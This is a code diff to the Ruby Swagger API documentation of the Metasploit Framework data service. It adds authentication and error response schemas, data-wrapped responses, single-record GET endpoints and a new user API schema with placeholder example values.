'CVE-2017-0147',
|
||||
'CVE-2017-0148',
|
||||
'URL-https://github.com/RiskSense-Ops/MS17-010'
|
||||
]
|
||||
IS_SERVER_EXAMPLE = true
|
||||
IS_CLIENT_EXAMPLE = false
|
||||
PLATFORM_EXAMPLE = 'Windows'
|
||||
ARCH_EXAMPLE = ''
|
||||
RPORT_EXAMPLE = '445'
|
||||
MOD_TIME_EXAMPLE = '2018-07-10T17:39:42.000-05:00'
|
||||
REF_NAME_EXAMPLE = 'windows/smb/ms17_010_eternalblue'
|
||||
PATH_EXAMPLE = '/modules/exploits/windows/smb/ms17_010_eternalblue.rb'
|
||||
IS_INSTALL_PATH_EXAMPLE = true
|
||||
TARGETS_EXAMPLE = [
|
||||
'Windows 7 and Server 2008 R2 (x64) All Service Packs'
|
||||
]
|
||||
|
||||
|
||||
# Swagger documentation for Module Search model
|
||||
swagger_schema :Module do
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :full_name, type: :string, description: FULL_NAME_DESC, example: FULL_NAME_EXAMPLE
|
||||
property :disclosure_date, type: :string, description: DISCLOSURE_DATE_EXAMPLE, example: DISCLOSURE_DATE_EXAMPLE
|
||||
property :rank, type: :integer, description: RANK_DESC, example: RANK_EXAMPLE
|
||||
property :type, type: :string, description: TYPE_DESC, example: TYPE_EXAMPLE, enum: TYPE_ENUM
|
||||
property :description, type: :string, description: DESCRIPTION_DESC, example: DESCRIPTION_EXAMPLE
|
||||
property :author, description: AUTHOR_DESC, example: AUTHOR_EXAMPLE, type: :array do items type: :string end
|
||||
property :references, description: REFERENCE_DESC, example: REFERENCES_EXAMPLE, type: :array do items type: :string end
|
||||
property :is_client, type: :boolean, description: IS_CLIENT_DESC, example: IS_CLIENT_EXAMPLE
|
||||
property :is_server, type: :boolean, description: IS_SERVER_DESC, example: IS_SERVER_EXAMPLE
|
||||
property :platform, type: :string, description: PLATFORM_DESC, example: PLATFORM_EXAMPLE
|
||||
property :arch, type: :string, description: ARCH_DESC, example: ARCH_EXAMPLE
|
||||
property :rport, type: :string, description: PORT_DESC, example: RPORT_EXAMPLE
|
||||
property :mod_time, type: :string, description: MOD_TIME_DESC, example: MOD_TIME_EXAMPLE
|
||||
property :ref_name, type: :string, description: REF_NAME_DESC, example: REF_NAME_EXAMPLE
|
||||
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
|
||||
property :is_install_path, type: :boolean, description: IS_INSTALL_PATH_DESC, example: IS_INSTALL_PATH_EXAMPLE
|
||||
property :targets, description: TARGET_DESC, example: TARGETS_EXAMPLE, type: :array do items type: :string end
|
||||
end
|
||||
|
||||
|
||||
|
||||
swagger_path '/api/v1/modules' do
|
||||
# Swagger documentation for /api/v1/modules GET
|
||||
operation :get do
|
||||
key :description, 'Search Metasploit modules using keyword filters.'
|
||||
key :tags, [ 'module' ]
|
||||
|
||||
parameters = {
|
||||
:app => APP_DESC,
|
||||
:arch => ARCH_DESC,
|
||||
:author => AUTHOR_DESC,
|
||||
:bid => BID_DESC,
|
||||
:cve => CVE_DESC,
|
||||
:edb => EDB_DESC,
|
||||
:description => DESCRIPTION_DESC,
|
||||
:disclosure_date => DISCLOSURE_DATE_DESC,
|
||||
:date => DATE_DESC,
|
||||
:full_name => FULL_NAME_DESC,
|
||||
:is_client => IS_CLIENT_DESC,
|
||||
:is_server => IS_SERVER_DESC,
|
||||
:is_install_path => IS_INSTALL_PATH_DESC,
|
||||
:mod_time => MOD_TIME_DESC,
|
||||
:name => NAME_DESC,
|
||||
:path => PATH_DESC,
|
||||
:platform => PLATFORM_DESC,
|
||||
:os => OS_DESC,
|
||||
:port => PORT_DESC,
|
||||
:rport => RPORT_DESC,
|
||||
:rank => RANK_DESC,
|
||||
:reference => REFERENCE_DESC,
|
||||
:references => REFERENCES_DESC,
|
||||
:ref_name => REF_NAME_DESC,
|
||||
:ref => REF_DESC,
|
||||
:text => TEXT_DESC,
|
||||
:target => TARGET_DESC,
|
||||
:targets => TARGETS_DESC,
|
||||
:type => TYPE_DESC,
|
||||
:fields => FIELDS_DESC
|
||||
}
|
||||
|
||||
parameters.each do | param_key, param_desc |
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, param_key
|
||||
key :required, false
|
||||
key :description, param_desc
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns modules matching keywords with appropriate metadata.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Module
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -12,7 +12,23 @@ module MsfApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns the Metasploit Framework version.'
|
||||
schema do
|
||||
property :metasploit_version, type: :string
|
||||
property :data do
|
||||
property :metasploit_version, type: :string
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -28,6 +28,20 @@ module NmapApiDoc
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -40,12 +40,28 @@ module NoteApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns note data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes POST
|
||||
|
@ -69,10 +85,25 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -85,14 +116,30 @@ module NoteApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted notes.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -102,8 +149,6 @@ module NoteApiDoc
|
|||
key :description, 'Return specific note that is stored in the database.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
|
@ -114,14 +159,27 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns notes data.'
|
||||
key :description, 'Returns note data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes/:id PUT
|
||||
|
@ -142,12 +200,27 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,17 @@ module RootApiDoc
|
|||
WORKSPACE_POST_DESC = 'The name of the workspace where this record should be created.'
|
||||
WORKSPACE_POST_EXAMPLE = 'default'
|
||||
HOST_EXAMPLE = '127.0.0.1'
|
||||
CODE_DESC = 'The error code that was generated.'
|
||||
CODE_EXAMPLE = 500
|
||||
MESSAGE_DESC = 'A message describing the error that occurred.'
|
||||
MESSAGE_EXAMPLE = 'Undefined method \'empty?\' for nil:NilClass'
|
||||
AUTH_CODE_DESC = 'The authentication error code that was generated.'
|
||||
AUTH_CODE_EXAMPLE = 401
|
||||
AUTH_MESSAGE_DESC = 'A message describing the authentication error that occurred.'
|
||||
|
||||
DEFAULT_RESPONSE_200 = 'Successful operation.'
|
||||
DEFAULT_RESPONSE_401 = 'Authenticate to access this resource.'
|
||||
DEFAULT_RESPONSE_500 = 'An error occurred during the operation. See the message for more details.'
|
||||
|
||||
swagger_root do
|
||||
key :swagger, '2.0'
|
||||
|
@ -25,23 +36,37 @@ module RootApiDoc
|
|||
key :consumes, ['application/json']
|
||||
key :produces, ['application/json']
|
||||
|
||||
security_definition :api_key do
|
||||
key :type, :apiKey
|
||||
key :name, :Authorization
|
||||
key :in, :header
|
||||
end
|
||||
|
||||
security do
|
||||
key :api_key, []
|
||||
end
|
||||
|
||||
#################################
|
||||
#
|
||||
# Documentation Tags
|
||||
#
|
||||
#################################
|
||||
tag name: 'auth', description: 'Authorization operations.'
|
||||
tag name: 'credential', description: 'Credential operations.'
|
||||
tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.'
|
||||
tag name: 'event', description: 'Event operations.'
|
||||
tag name: 'exploit', description: 'Exploit operations.'
|
||||
tag name: 'host', description: 'Host operations.'
|
||||
tag name: 'login', description: 'Login operations.'
|
||||
tag name: 'loot', description: 'Loot operations.'
|
||||
tag name: 'module', description: 'Module search operations.'
|
||||
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
|
||||
tag name: 'nmap', description: 'Nmap operations.'
|
||||
tag name: 'note', description: 'Note operations.'
|
||||
tag name: 'service', description: 'Service operations.'
|
||||
tag name: 'session', description: 'Session operations.'
|
||||
tag name: 'session_event', description: 'Session Event operations.'
|
||||
tag name: 'user', description: 'User operations.'
|
||||
tag name: 'vuln', description: 'Vuln operations.'
|
||||
tag name: 'vuln_attempt', description: 'Vuln Attempt operations.'
|
||||
tag name: 'workspace', description: 'Workspace operations.'
|
||||
|
@ -105,4 +130,37 @@ module RootApiDoc
|
|||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_schema :ErrorModel do
|
||||
key :required, [:message]
|
||||
property :error do
|
||||
property :code do
|
||||
key :type, :int32
|
||||
key :description, CODE_DESC
|
||||
key :example, CODE_EXAMPLE
|
||||
end
|
||||
property :message do
|
||||
key :type, :string
|
||||
key :description, MESSAGE_DESC
|
||||
key :example, MESSAGE_EXAMPLE
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_schema :AuthErrorModel do
|
||||
key :required, [:message]
|
||||
property :error do
|
||||
property :code do
|
||||
key :type, :int32
|
||||
key :description, AUTH_CODE_DESC
|
||||
key :example, AUTH_CODE_EXAMPLE
|
||||
end
|
||||
property :message do
|
||||
key :type, :string
|
||||
key :description, AUTH_MESSAGE_DESC
|
||||
key :example, DEFAULT_RESPONSE_401
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -41,12 +41,28 @@ module ServiceApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns service data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/services POST
|
||||
|
@ -71,10 +87,25 @@ module ServiceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -87,47 +118,72 @@ module ServiceApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted services.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/services/{id}' do
|
||||
# Swagger documentation for api/v1/services/:id GET
|
||||
|
||||
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
|
||||
#
|
||||
# operation :get do
|
||||
# key :description, 'Return specific service that is stored in the database.'
|
||||
# key :tags, [ 'service' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of service to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns service data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Service
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
operation :get do
|
||||
key :description, 'Return specific service that is stored in the database.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of service to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns service data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/services/:id PUT
|
||||
operation :put do
|
||||
|
@ -147,12 +203,27 @@ module ServiceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -32,12 +32,28 @@ module SessionApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns session data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Session
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Session
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/sessions POST
|
||||
|
@ -60,7 +76,7 @@ module SessionApiDoc
|
|||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation.'
|
||||
# key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Session
|
||||
|
@ -68,4 +84,44 @@ module SessionApiDoc
|
|||
# end
|
||||
# end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/sessions/{id}' do
|
||||
# Swagger documentation for api/v1/sessions/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific session that is stored in the database.'
|
||||
key :tags, [ 'session' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of session to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns session data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Session
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -35,12 +35,28 @@ module SessionEventApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns session event data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :SessionEvent
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/session events POST
|
||||
|
@ -64,10 +80,65 @@ module SessionEventApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :SessionEvent
|
||||
property :data do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/session-events/{id}' do
|
||||
# Swagger documentation for api/v1/session-events/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific session_event that is stored in the database.'
|
||||
key :tags, [ 'session_event' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of session_event to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns session event data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module UserApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
USERNAME_DESC = 'The username of the user.'
|
||||
USERNAME_EXAMPLE = 'bmoose'
|
||||
PASSWORD_DESC = 'The password of the user.'
|
||||
PASSWORD_EXAMPLE = 'pass123'
|
||||
CRYPTED_PASSWORD_DESC = 'The encrypted password of the user.'
|
||||
CRYPTED_PASSWORD_EXAMPLE = '$2a$10$ZOmd0VVkcVLTKW/0Cw0BMeqVITeVN4tPQvRvwBizNyM1NIz45oxda'
|
||||
PASSWORD_SALT_DESC = 'The password salt for the user\'s password.'
|
||||
PERSISTENCE_TOKEN_DESC = 'The persistence token for the user.'
|
||||
PERSISTENCE_TOKEN_EXAMPLE = '1a6347561b72aff163b4c1b8324cfdf9ccca37caa681e29d348677afe0cb56927e2e3ab4dc612723'
|
||||
FULLNAME_DESC = 'The user\'s full name.'
|
||||
FULLNAME_EXAMPLE = 'Bullwinkle J. Moose'
|
||||
EMAIL_DESC = 'The user\'s email address.'
|
||||
EMAIL_EXAMPLE = 'bullwinkle_moose@rapid7.com'
|
||||
PHONE_DESC = 'The user\'s phone number.'
|
||||
PHONE_EXAMPLE = '555-555-5555'
|
||||
COMPANY_DESC = 'The user\'s company.'
|
||||
COMPANY_EXAMPLE = 'Rapid7'
|
||||
PREFS_DESC = 'The user\'s preferences.'
|
||||
PREFS_EXAMPLE = {}
|
||||
ADMIN_DESC = 'A boolean indicating whether the user is an admin.'
|
||||
ADMIN_EXAMPLE = false
|
||||
|
||||
|
||||
# Swagger documentation for User model
|
||||
swagger_schema :User do
|
||||
key :required, [:username, :password]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :crypted_password, type: :string, description: CRYPTED_PASSWORD_DESC, example: CRYPTED_PASSWORD_EXAMPLE
|
||||
property :password_salt, type: :string, description: PASSWORD_SALT_DESC
|
||||
property :persistence_token, type: :string, description: PERSISTENCE_TOKEN_DESC, example: PERSISTENCE_TOKEN_EXAMPLE
|
||||
property :created_at, type: :string, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, description: RootApiDoc::UPDATED_AT_DESC
|
||||
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
|
||||
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
|
||||
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
|
||||
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
|
||||
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
|
||||
property :admin, type: :string, description: ADMIN_DESC, example: ADMIN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/users' do
|
||||
# Swagger documentation for /api/v1/users GET
|
||||
operation :get do
|
||||
key :description, 'Return users that are stored in the database.'
|
||||
key :tags, [ 'user' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns user data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :User
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/users GET
|
||||
operation :post do
|
||||
key :description, 'Create a user.'
|
||||
key :tags, [ 'user' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the user.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :username, type: :string, required: true, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :password, type: :string, required: true, description: PASSWORD_DESC, example: PASSWORD_EXAMPLE
|
||||
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
|
||||
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
|
||||
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
|
||||
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
|
||||
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :User
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -89,12 +89,28 @@ module VulnApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
